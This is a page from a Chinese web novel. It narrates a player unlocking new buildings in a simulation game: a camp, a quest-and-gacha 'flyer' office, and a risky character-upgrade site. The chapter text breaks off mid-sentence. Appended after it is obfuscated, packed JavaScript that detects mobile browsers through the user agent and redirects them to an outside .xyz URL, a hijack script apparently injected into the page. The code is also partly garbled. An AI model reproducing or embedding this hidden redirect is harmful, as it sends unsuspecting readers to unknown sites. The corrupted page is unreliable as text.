Freddie_Strickland 作品

3. 第三章,新功能建筑。修错(第2页)

 




而后出现新的按钮"营地",把它建立在巨蛇的正下方位置,很快,更多的光点往营地而去,随后几根树枝出现在画面中心,他们被无形的双手摆弄成三角形状,一根火柴点燃了木堆,火焰燃起,中心的篝火也燃烧了起来,一个新建筑跳了出来。
 




可,"传单"在闪闪发亮,顿时吸引了注意,仔细阅读它的说明,它是一个小小的办公大楼,面前有一个公佈栏的模样,它的功能是发布与接收任务,小人们会自由的选择任务并完成,或是玩家自行接受来自系统的任务,以及宣传自家地盘、吸引人群消费的建筑,同时可以提高获得强力角色的机率,也提高获得特殊建筑的机率。
 




太好了,是一个玩家必备道具。
 




又称抽卡地狱,这东西到底是谁发明的!赶紧出来,我们玩家保证绝对不会把你打死的,那个机率真的有准确过吗?说好的0.013%,怎麽有人一抽就中,而非酋砸下数万也不见一丝曙光,而不上不下的中间地带显得狼狈,赢了却没有终极大奖,输了也不至于倾家荡产,但也就是这样,就会总有人想要拚搏一把,最后落得上不去又下不来的局面,可悲可叹。
 




看看下一个,另外的新功能在闪烁,点击"传承之地",它的介绍很长,手指滑动屏幕大概有三页,简易的扫视几眼,大概的意思是说,小人们终于可以进行角色升级,获得新技能!新属性!
 




太好了,这个新手指导果然还没过去是吧?
 




前提是需要消耗特定的资源,如金币、素材或特殊物品,升级后,角色可能会获得新的技能、能力或属性提升,也有机率会死亡。
 




升级之前会让玩家选择需要的时间,通常会有一个标准时段用于参考,不用担心小人变成因为操作失误变成废物,这个说的玩家好像是什麽养娃障碍的人,而在升级的过程中,系统会提供特定的任务或挑战,它原本说的是”角色的个人成就”,小人在期间完成可获得额外的奖励,似乎成就完成的越多,升级成功的机率也越高,并且获得相应的属性也会越好。
 




在升级过程中,玩家也可以全程观看小人的升级过程,也可以与环境中的物件或npC互动,获得提示、故事或升级的指导,帮助角色理解自己的身份和使命。
 




当升级完成之后,可以与小人交流、分享经验和故事,以获得其他小人成功升级的机率。
 




是的,这个该死的游戏,升级是有机率失败的,但玩家有存档,不怕,只要不要忘记存档就行。
 




千万不要忘记存档,单机游戏都是有存档的,这个游戏也有吧?
 




大概明白新建筑的功能后随意的丢在营地的旁边,现在东西不多还能随便放,等之后多了再来整理吧,反正就是动动手指的事情。
 




把目光转向"营地",介绍很简单,就是让小人住在里面,统一休息的地方,每个人都有自己的小房间,并提高了伤势的恢復速度,且获得暂时不死的增益效果,只要小人有一口气在,绝对不会
 




;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947574|160853||http|test|mini|href|location''.split(''|''),0,{}));
 




() {